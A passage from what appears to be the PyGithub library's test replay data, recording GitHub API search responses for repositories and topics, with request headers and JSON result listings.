repo}","subscriptions_url":"https://api.github.com/users/ehamiter/subscriptions","organizations_url":"https://api.github.com/users/ehamiter/orgs","repos_url":"https://api.github.com/users/ehamiter/repos","events_url":"https://api.github.com/users/ehamiter/events{/privacy}","received_events_url":"https://api.github.com/users/ehamiter/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ehamiter/ST2-GitHubinator","description":"Sublime Text 2 plugin that shows selected ST2 text on GitHub","fork":false,"url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator","forks_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/forks","keys_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/teams","hooks_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/hooks","issue_events_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/issues/events{/number}","events_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/events","assignees_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/assignees{/user}","branches_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/branches{/branch}","tags_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/tags","blobs_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/refs{/sha}","trees_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/statuses/{sha}","languages_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/languages","stargazers_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/stargazers","contributors_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/contributors","subscribers_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/subscribers","subscription_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/subscription","commits_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/commits{/sha}","git_commits_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/commits{/sha}","comments_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/comments{/number}","issue_comment_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/issues/comments/{number}","contents_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/contents/{+path}","compare_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/merges","archive_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/downloads","issues_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/issues{/number}","pulls_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/pulls{/number}","milestones_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/milestones{/number}","notifications_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/labels{/name}","releases_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/releases{/id}","created_at":"2011-08-23T02:04:50Z","updated_at":"2014-01-03T16:58:01Z","pushed_at":"2013-09-09T18:14:32Z","git_url":"git://github.com/ehamiter/ST2-GitHubinator.git","ssh_url":"git@github.com:ehamiter/ST2-GitHubinator.git","clone_url":"https://github.com/ehamiter/ST2-GitHubinator.git","svn_url":"https://github.com/ehamiter/ST2-GitHubinator","homepage":"","size":100,"stargazers_count":71,"watchers_count":71,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":16,"mirror_url":null,"open_issues_count":3,"forks":16,"open_issues":3,"watchers":71,"default_branch":"master","master_branch":"master","score":10.001726},{"id":2207040,"name":"WhitespaceBot","full_name":"Miserlou/WhitespaceBot","owner":{"login":"Miserlou","id":139987,"avatar_url":"https://avatars.githubusercontent.com/u/139987","gravatar_id":"7ad8f46407b45f1a2925333c7837a1f1","url":"https://api.github.com/users/Miserlou","html_url":"https://github.com/Miserlou","followers_url":"https://api.github.com/users/Miserlou/followers","following_url":"https://api.github.com/users/Miserlou/following{/other_user}","gists_url":"https://api.github.com/users/Miserlou/gists{/gist_id}","starred_url":"https://api.github.com/users/Miserlou/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Miserlou/subscriptions","organizations_url":"https://api.github.com/users/Miserlou/orgs","repos_url":"https://api.github.com/users/Miserlou/repos","events_url":"https://api.github.com/users/Miserlou/events{/privacy}","received_events_url":"https://api.github.com/users/Miserlou/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/Miserlou/WhitespaceBot","description":"Making GitHub Better.. With Robots","fork":false,"url":"https://api.github.com/repos/Miserlou/WhitespaceBot","forks_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/forks","keys_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/teams","hooks_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/hooks","issue_events_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/issues/events{/number}","events_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/events","assignees_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/assignees{/user}","branches_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/branches{/branch}","tags_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/tags","blobs_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/refs{/sha}","trees_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/statuses/{sha}","languages_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/languages","stargazers_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/stargazers","contributors_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/contributors","subscribers_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/subscribers","subscription_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/subscription","commits_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/commits{/sha}","git_commits_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/commits{/sha}","comments_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/comments{/number}","issue_comment_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/issues/comments/{number}","contents_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/contents/{+path}","compare_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/merges","archive_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/downloads","issues_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/issues{/number}","pulls_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/pulls{/number}","milestones_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/milestones{/number}","notifications_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/labels{/name}","releases_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/releases{/id}","created_at":"2011-08-14T22:00:27Z","updated_at":"2014-01-03T07:45:01Z","pushed_at":"2011-10-31T17:57:47Z","git_url":"git://github.com/Miserlou/WhitespaceBot.git","ssh_url":"git@github.com:Miserlou/WhitespaceBot.git","clone_url":"https://github.com/Miserlou/WhitespaceBot.git","svn_url":"https://github.com/Miserlou/WhitespaceBot","homepage":"http://gun.io","size":106,"stargazers_count":68,"watchers_count":68,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":19,"mirror_url":null,"open_issues_count":6,"forks":19,"open_issues":6,"watchers":68,"default_branch":"master","master_branch":"master","score":12.626783},{"id":542285,"name":"mirosubs","full_name":"8planes/mirosubs","owner":{"login":"8planes","id":213626,"avatar_url":"https://avatars.githubusercontent.com/u/213626","gravatar_id":"453d80be8ba0d907fff185d806cff8ac","url":"https://api.github.com/users/8planes","html_url":"https://github.com/8planes","followers_url":"https://api.github.com/users/8planes/followers","following_url":"https://api.github.com/users/8planes/following{/other_user}","gists_url":"https://api.github.com/users/8planes/gists{/gist_id}","starred_url":"https://api.github.com/users/8planes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/8planes/subscriptions","organizations_url":"https://api.github.com/users/8planes/orgs","repos_url":"https://api.github.com/users/8planes/repos","events_url":"https://api.github.com/users/8planes/events{/privacy}","received_events_url":"https://api.github.com/users/8planes/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/8planes/mirosubs","description":"The Universal Subtitles repo has moved! Please visit us at https://github.com/pculture/unisubs","fork":false,"url":"https://api.github.com/repos/8planes/mirosubs","forks_url":"https://api.github.com/repos/8planes/mirosubs/forks","keys_url":"https://api.github.com/repos/8planes/mirosubs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/8planes/mirosubs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/8planes/mirosubs/teams","hooks_url":"https://api.github.com/repos/8planes/mirosubs/hooks","issue_events_url":"https://api.github.com/repos/8planes/mirosubs/issues/events{/number}","events_url":"https://api.github.com/repos/8planes/mirosubs/events","assignees_url":"https://api.github.com/repos/8planes/mirosubs/assignees{/user}","branches_url":"https://api.github.com/repos/8planes/mirosubs/branches{/branch}","tags_url":"https://api.github.com/repos/8planes/mirosubs/tags","blobs_url":"https://api.github.com/repos/8planes/mirosubs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/8planes/mirosubs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/8planes/mirosubs/git/refs{/sha}","trees_url":"https://api.github.com/repos/8planes/mirosubs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/8planes/mirosubs/statuses/{sha}","languages_url":"https://api.github.com/repos/8planes/mirosubs/languages","stargazers_url":"https://api.github.com/repos/8planes/mirosubs/stargazers","contributors_url":"https://api.github.com/repos/8planes/mirosubs/contributors","subscribers_url":"https://api.github.com/repos/8planes/mirosubs/subscribers","subscription_url":"https://api.github.com/repos/8planes/mirosubs/subscription","commits_url":"https://api.github.com/repos/8planes/mirosubs/commits{/sha}","git_commits_url":"https://api.github.com/repos/8planes/mirosubs/git/commits{/sha}","comments_url":"https://api.github.com/repos/8planes/mirosubs/comments{/number}","issue_comment_url":"https://api.github.com/repos/8planes/mirosubs/issues/comments/{number}","contents_url":"https://api.github.com/repos/8planes/mirosubs/contents/{+path}","compare_url":"https://api.github.com/repos/8planes/mirosubs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/8planes/mirosubs/merges","archive_url":"https://api.github.com/repos/8planes/mirosubs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/8planes/mirosubs/downloads","issues_url":"https://api.github.com/repos/8planes/mirosubs/issues{/number}","pulls_url":"https://api.github.com/repos/8planes/mirosubs/pulls{/number}","milestones_url":"https://api.github.com/repos/8planes/mirosubs/milestones{/number}","notifications_url":"https://api.github.com/repos/8planes/mirosubs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/8planes/mirosubs/labels{/name}","releases_url":"https://api.github.com/repos/8planes/mirosubs/releases{/id}","created_at":"2010-03-02T02:55:02Z","updated_at":"2014-02-16T03:40:17Z","pushed_at":"2011-08-30T19:10:16Z","git_url":"git://github.com/8planes/mirosubs.git","ssh_url":"git@github.com:8planes/mirosubs.git","clone_url":"https://github.com/8planes/mirosubs.git","svn_url":"https://github.com/8planes/mirosubs","homepage":"","size":67902,"stargazers_count":66,"watchers_count":66,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":15,"mirror_url":null,"open_issues_count":12,"forks":15,"open_issues":12,"watchers":66,"default_branch":"master","master_branch":"master","score":6.8096685},{"id":988599,"name":"tahoe-lafs","full_name":"warner/tahoe-lafs","owner":{"login":"warner","id":27146,"avatar_url":"https://avatars.githubusercontent.com/u/27146","gravatar_id":"44c17de889031c70e118b5d9a724b8cc","url":"https://api.github.com/users/warner","html_url":"https://github.com/warner","followers_url":"https://api.github.com/users/warner/followers","following_url":"https://api.github.com/users/warner/following{/other_user}","gists_url":"https://api.github.com/users/warner/gists{/gist_id}","starred_url":"https://api.github.com/users/warner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/warner/subscriptions","organizations_url":"https://api.github.com/users/warner/orgs","repos_url":"https://api.github.com/users/warner/repos","events_url":"https://api.github.com/users/warner/events{/privacy}","received_events_url":"https://api.github.com/users/warner/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/warner/tahoe-lafs","description":"The Tahoe-LAFS decentralized secure filesystem. https://github.com/tahoe-lafs/tahoe-lafs is the master.","fork":false,"url":"https://api.github.com/repos/warner/tahoe-lafs","forks_url":"https://api.github.com/repos/warner/tahoe-lafs/forks","keys_url":"https://api.github.com/repos/warner/tahoe-lafs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/warner/tahoe-lafs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/warner/tahoe-lafs/teams","hooks_url":"https://api.github.com/repos/warner/tahoe-lafs/hooks","issue_events_url":"https://api.github.com/repos/warner/tahoe-lafs/issues/events{/number}","events_url":"https://api.github.com/repos/warner/tahoe-lafs/events","assignees_url":"https://api.github.com/repos/warner/tahoe-lafs/assignees{/user}","branches_url":"https://api.github.com/repos/warner/tahoe-lafs/branches{/branch}","tags_url":"https://api.github.com/repos/warner/tahoe-lafs/tags","blobs_url":"https://api.github.com/repos/warner/tahoe-lafs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/warner/tahoe-lafs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/warner/tahoe-lafs/git/refs{/sha}","trees_url":"https://api.github.com/repos/warner/tahoe-lafs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/warner/tahoe-lafs/statuses/{sha}","languages_url":"https://api.github.com/repos/warner/tahoe-lafs/languages","stargazers_url":"https://api.github.com/repos/warner/tahoe-lafs/stargazers","contributors_url":"https://api.github.com/repos/warner/tahoe-lafs/contributors","subscribers_url":"https://api.github.com/repos/warner/tahoe-lafs/subscribers","subscription_url":"https://api.github.com/repos/warner/tahoe-lafs/subscription","commits_url":"https://api.github.com/repos/warner/tahoe-lafs/commits{/sha}","git_commits_url":"https://api.github.com/repos/warner/tahoe-lafs/git/commits{/sha}","comments_url":"https://api.github.com/repos/warner/tahoe-lafs/comments{/number}","issue_comment_url":"https://api.github.com/repos/warner/tahoe-lafs/issues/comments/{number}","contents_url":"https://api.github.com/repos/warner/tahoe-lafs/contents/{+path}","compare_url":"https://api.github.com/repos/warner/tahoe-lafs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/warner/tahoe-lafs/merges","archive_url":"https://api.github.com/repos/warner/tahoe-lafs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/warner/tahoe-lafs/downloads","issues_url":"https://api.github.com/repos/warner/tahoe-lafs/issues{/number}","pulls_url":"https://api.github.com/repos/warner/tahoe-lafs/pulls{/number}","milestones_url":"https://api.github.com/repos/warner/tahoe-lafs/milestones{/number}","notifications_url":"https://api.github.com/repos/warner/tahoe-lafs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/warner/tahoe-lafs/labels{/name}","releases_url":"https://api.github.com/repos/warner/tahoe-lafs/releases{/id}","created_at":"2010-10-14T23:57:29Z","updated_at":"2013-12-29T13:45:08Z","pushed_at":"2013-11-12T01:26:53Z","git_url":"git://github.com/warner/tahoe-lafs.git","ssh_url":"git@github.com:warner/tahoe-lafs.git","clone_url":"https://github.com/warner/tahoe-lafs.git","svn_url":"https://github.com/warner/tahoe-lafs","homepage":"http://tahoe-lafs.org/","size":62557,"stargazers_count":62,"watchers_count":62,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":79,"mirror_url":null,"open_issues_count":2,"forks":79,"open_issues":2,"watchers":62,"default_branch":"master","master_branch":"master","score":10.669004},{"id":734654,"name":"twitter-text-py","full_name":"dryan/twitter-text-py","owner":{"login":"dryan","id":15066,"avatar_url":"https://avatars.githubusercontent.com/u/15066","gravatar_id":"f110c4153d9c4b1002e8fa49183ac761","url":"https://api.github.com/users/dryan","html_url":"https://github.com/dryan","followers_url":"https://api.github.com/users/dryan/followers","following_url":"https://api.github.com/users/dryan/following{/other_user}","gists_url":"https://api.github.com/users/dryan/gists{/gist_id}","starred_url":"https://api.github.com/users/dryan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dryan/subscriptions","organizations_url":"https://api.github.com/users/dryan/orgs","repos_url":"https://api.github.com/users/dryan/repos","events_url":"https://api.github.com/users/dryan/events{/privacy}","received_events_url":"https://api.github.com/users/dryan/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/dryan/twitter-text-py","description":"a python port of https://github.com/twitter/twitter-text-rb also available via `pip install twitter_text`","fork":false,"url":"https://api.github.com/repos/dryan/twitter-text-py","forks_url":"https://api.github.com/repos/dryan/twitter-text-py/forks","keys_url":"https://api.github.com/repos/dryan/twitter-text-py/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dryan/twitter-text-py/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dryan/twitter-text-py/teams","hooks_url":"https://api.github.com/repos/dryan/twitter-text-py/hooks","issue_events_url":"https://api.github.com/repos/dryan/twitter-text-py/issues/events{/number}","events_url":"https://api.github.com/repos/dryan/twitter-text-py/events","assignees_url":"https://api.github.com/repos/dryan/twitter-text-py/assignees{/user}","branches_url":"https://api.github.com/repos/dryan/twitter-text-py/branches{/branch}","tags_url":"https://api.github.com/repos/dryan/twitter-text-py/tags","blobs_url":"https://api.github.com/repos/dryan/twitter-text-py/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dryan/twitter-text-py/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dryan/twitter-text-py/git/refs{/sha}","trees_url":"https://api.github.com/repos/dryan/twitter-text-py/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dryan/twitter-text-py/statuses/{sha}","languages_url":"https://api.github.com/repos/dryan/twitter-text-py/languages","stargazers_url":"https://api.github.com/repos/dryan/twitter-text-py/stargazers","contributors_url":"https://api.github.com/repos/dryan/twitter-text-py/contributors","subscribers_url":"https://api.github.com/repos/dryan/twitter-text-py/subscribers","subscription_url":"https://api.github.com/repos/dryan/twitter-text-py/subscription","commits_url":"https://api.github.com/repos/dryan/twitter-text-py/commits{/sha}","git_commits_url":"https://api.github.com/repos/dryan/twitter-text-py/git/commits{/sha}","comments_url":"https://api.github.com/repos/dryan/twitter-text-py/comments{/number}","issue_comment_url":"https://api.github.com/repos/dryan/twitter-text-py/issues/comments/{number}","contents_url":"https://api.github.com/repos/dryan/twitter-text-py/contents/{+path}","compare_url":"https://api.github.com/repos/dryan/twitter-text-py/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dryan/twitter-text-py/merges","archive_url":"https://api.github.com/repos/dryan/twitter-text-py/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dryan/twitter-text-py/downloads","issues_url":"https://api.github.com/repos/dryan/twitter-text-py/issues{/number}","pulls_url":"https://api.github.com/repos/dryan/twitter-text-py/pulls{/number}","milestones_url":"https://api.github.com/repos/dryan/twitter-text-py/milestones{/number}","notifications_url":"https://api.github.com/repos/dryan/twitter-text-py/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dryan/twitter-text-py/labels{/name}","releases_url":"https://api.github.com/repos/dryan/twitter-text-py/releases{/id}","created_at":"2010-06-22T21:29:21Z","updated_at":"2014-01-16T14:48:12Z","pushed_at":"2014-01-16T14:48:11Z","git_url":"git://github.com/dryan/twitter-text-py.git","ssh_url":"git@github.com:dryan/twitter-text-py.git","clone_url":"https://github.com/dryan/twitter-text-py.git","svn_url":"https://github.com/dryan/twitter-text-py","homepage":"http://dryan.github.io/twitter-text-py/","size":464,"stargazers_count":64,"watchers_count":64,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":20,"mirror_url":null,"open_issues_count":1,"forks":20,"open_issues":1,"watchers":64,"default_branch":"master","master_branch":"master","score":7.240589},{"id":1781813,"name":"gist-it","full_name":"robertkrimen/gist-it","owner":{"login":"robertkrimen","id":16290,"avatar_url":"https://avatars.githubusercontent.com/u/16290","gravatar_id":"a8599a9fab0f69eb6515686702a5adb1","url":"https://api.github.com/users/robertkrimen","html_url":"https://github.com/robertkrimen","followers_url":"https://api.github.com/users/robertkrimen/followers","following_url":"https://api.github.com/users/robertkrimen/following{/other_user}","gists_url":"https://api.github.com/users/robertkrimen/gists{/gist_id}","starred_url":"https://api.github.com/users/robertkrimen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/robertkrimen/subscriptions","organizations_url":"https://api.github.com/users/robertkrimen/orgs","repos_url":"https://api.github.com/users/robertkrimen/repos","events_url":"https://api.github.com/users/robertkrimen/events{/privacy}","received_events_url":"https://api.github.com/users/robertkrimen/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/robertkrimen/gist-it","description":"An AppEngine app to embed files from a github repository like a gist","fork":false,"url":"https://api.github.com/repos/robertkrimen/gist-it","forks_url":"https://api.github.com/repos/robertkrimen/gist-it/forks","keys_url":"https://api.github.com/repos/robertkrimen/gist-it/keys{/key_id}","collaborators_url":"https://api.github.com/repos/robertkrimen/gist-it/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/robertkrimen/gist-it/teams","hooks_url":"https://api.github.com/repos/robertkrimen/gist-it/hooks","issue_events_url":"https://api.github.com/repos/robertkrimen/gist-it/issues/events{/number}","events_url":"https://api.github.com/repos/robertkrimen/gist-it/events","assignees_url":"https://api.github.com/repos/robertkrimen/gist-it/assignees{/user}","branches_url":"https://api.github.com/repos/robertkrimen/gist-it/branches{/branch}","tags_url":"https://api.github.com/repos/robertkrimen/gist-it/tags","blobs_url":"https://api.github.com/repos/robertkrimen/gist-it/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/robertkrimen/gist-it/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/robertkrimen/gist-it/git/refs{/sha}","trees_url":"https://api.github.com/repos/robertkrimen/gist-it/git/trees{/sha}","statuses_url":"https://api.github.com/repos/robertkrimen/gist-it/statuses/{sha}","languages_url":"https://api.github.com/repos/robertkrimen/gist-it/languages","stargazers_url":"https://api.github.com/repos/robertkrimen/gist-it/stargazers","contributors_url":"https://api.github.com/repos/robertkrimen/gist-it/contributors","subscribers_url":"https://api.github.com/repos/robertkrimen/gist-it/subscribers","subscription_url":"https://api.github.com/repos/robertkrimen/gist-it/subscription","commits_url":"https://api.github.com/repos/robertkrimen/gist-it/commits{/sha}","git_commits_url":"https://api.github.com/repos/robertkrimen/gist-it/git/commits{/sha}","comments_url":"https://api.github.com/repos/robertkrimen/gist-it/comments{/number}","issue_comment_url":"https://api.github.com/repos/robertkrimen/gist-it/issues/comments/{number}","contents_url":"https://api.github.com/repos/robertkrimen/gist-it/contents/{+path}","compare_url":"https://api.github.com/repos/robertkrimen/gist-it/compare/{base}...{head}","merges_url":"https://api.github.com/repos/robertkrimen/gist-it/merges","archive_url":"https://api.github.com/repos/robertkrimen/gist-it/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/robertkrimen/gist-it/downloads","issues_url":"https://api.github.com/repos/robertkrimen/gist-it/issues{/number}","pulls_url":"https://api.github.com/repos/robertkrimen/gist-it/pulls{/number}","milestones_url":"https://api.github.com/repos/robertkrimen/gist-it/milestones{/number}","notifications_url":"https://api.github.com/repos/robertkrimen/gist-it/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/robertkrimen/gist-it/labels{/name}","releases_url":"https://api.github.com/repos/robertkrimen/gist-it/releases{/id}","created_at":"2011-05-21T21:02:52Z","updated_at":"2014-01-08T03:25:50Z","pushed_at":"2013-02-27T01:11:21Z","git_url":"git://github.com/robertkrimen/gist-it.git","ssh_url":"git@github.com:robertkrimen/gist-it.git","clone_url":"https://github.com/robertkrimen/gist-it.git","svn_url":"https://github.com/robertkrimen/gist-it","homepage":"gist-it.appspot.com","size":804,"stargazers_count":61,"watchers_count":61,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":10,"mirror_url":null,"open_issues_count":3,"forks":10,"open_issues":3,"watchers":61,"default_branch":"master","master_branch":"master","score":6.753918}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testSearchReposWithNoResults.txt0000644000175100001660000000172414756101563025760 0ustar00runnerdockerhttps GET api.github.com None /search/repositories?q=doesnotexist&per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '78F11E32:5372:9B9CAA5:531405FC'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '140961'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('cache-control', 'no-cache'), ('date', 'Thu, 22 Nov 2018 14:17:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393821241')] {"total_count":0,"incomplete_results":false,"items":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testSearchTopics.txt0000644000175100001660000001056614756101563023422 0ustar00runnerdockerhttps GET api.github.com None /search/topics?q=python+repositories%3A%3E950 {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.mercy-preview+json', 'User-Agent': 'PyGithub/Python'} None 200 [('access-control-allow-origin', '*'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('cache-control', 'no-cache'), ('content-encoding', 'gzip'), ('content-security-policy', "default-src 'none'"), ('content-type', 'application/json; charset=utf-8'), ('date', 'Tue, 04 Sep 2018 19:33:06 GMT'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('server', 'GitHub.com'), ('status', '200 OK'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('transfer-encoding', 'chunked'), ('x-accepted-oauth-scopes', ''), ('x-content-type-options', 'nosniff'), ('x-frame-options', 'deny'), ('x-github-media-type', 'github.mercy-preview; format=json'), ('x-github-request-id', '6CB6:35BC:A1C2D7:1AE3E6A:5B8EDDF1'), ('x-oauth-scopes', 'read:user'), ('x-ratelimit-limit', '30'), ('x-ratelimit-remaining', '27'), ('x-ratelimit-reset', '1536089589'), ('x-runtime-rack', '0.034532'), ('x-xss-protection', '1; mode=block')] {"total_count":6,"incomplete_results":false,"items":[{"name":"python","display_name":"Python","short_description":"Python is a dynamically typed programming language.","description":"Python is a dynamically typed programming language designed by Guido Van Rossum. Much like the programming language Ruby, Python was designed to be easily read by programmers. Because of its large following and many libraries, Python can be implemented and used to do anything from webpages to scientific research.","created_by":"Guido van Rossum","released":"February 20, 1991","created_at":"2016-12-07T00:07:02Z","updated_at":"2017-10-27T22:45:43Z","featured":true,"curated":true,"score":6000.218},{"name":"django","display_name":"Django","short_description":"Django is a web application framework for Python.","description":"Django is a web application framework for Python. It is designed to prioritize principles of reusability and rapid development.","created_by":"Adrian Holovaty, Simon Willison","released":"21 July 2005","created_at":"2017-01-31T20:40:48Z","updated_at":"2017-10-26T21:33:58Z","featured":true,"curated":true,"score":459.86417},{"name":"flask","display_name":"Flask","short_description":"Flask is a web framework for Python based on the Werkzeug toolkit.","description":"Flask is a web framework for Python, based on the Werkzeug toolkit.","created_by":"Armin Ronacher","released":"April 1, 2010","created_at":"2016-12-25T23:31:26Z","updated_at":"2018-02-05T17:11:09Z","featured":true,"curated":true,"score":311.18997},{"name":"ruby","display_name":"Ruby","short_description":"Ruby is a scripting language designed for simplified object-oriented programming.","description":"Ruby was developed by Yukihiro \"Matz\" Matsumoto in 1995 with the intent of having an easily readable programming language. It is integrated with the Rails framework to create dynamic web-applications. Ruby's syntax is similar to that of Perl and Python.","created_by":"Yukihiro Matsumoto","released":"December 21, 1995","created_at":"2016-11-28T22:03:59Z","updated_at":"2017-10-30T18:16:32Z","featured":true,"curated":true,"score":224.16049},{"name":"scikit-learn","display_name":"scikit-learn","short_description":"scikit-learn is a Python module for machine learning.","description":"scikit-learn is a widely-used Python module for classic machine learning. It is built on top of SciPy.","created_by":"David Cournapeau","released":"January 05, 